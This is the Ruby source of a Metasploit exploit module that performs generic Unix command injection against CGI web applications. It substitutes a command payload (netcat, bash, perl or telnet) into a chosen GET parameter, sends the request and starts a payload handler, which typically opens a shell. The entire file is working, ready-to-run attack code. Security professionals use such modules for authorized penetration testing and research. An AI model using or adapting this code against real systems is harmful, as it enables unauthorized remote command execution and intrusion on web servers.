## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Generic Web Application Unix Command Execution', 'Description' => %q{ This module can be used to exploit any generic command execution vulnerability for CGI applications on Unix-like platforms. To use this module, specify the CMDURI path, replacing the command itself with XXcmdXX. This module is currently limited to forms vulnerable through GET requests with query parameters. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet netcat netcat-e bash', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 14 1993', # CGI historical date :) 'DefaultTarget' => 0)) register_options( [ OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]), ], self.class) end def exploit uri = datastore['CMDURI'].to_s uri,query = uri.split('?', 2) if query query = query.split('&').map{|var| k,v = var.split('=', 2) Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded)) }.join('&') uri = uri + '?' + query end print_status("Sending HTTP request for #{uri}") res = send_request_cgi( { 'global' => true, 'uri' => uri }, 30) if res print_status("The server responded with HTTP CODE #{res.code}") else print_status("The server did not respond to our request") end handler end end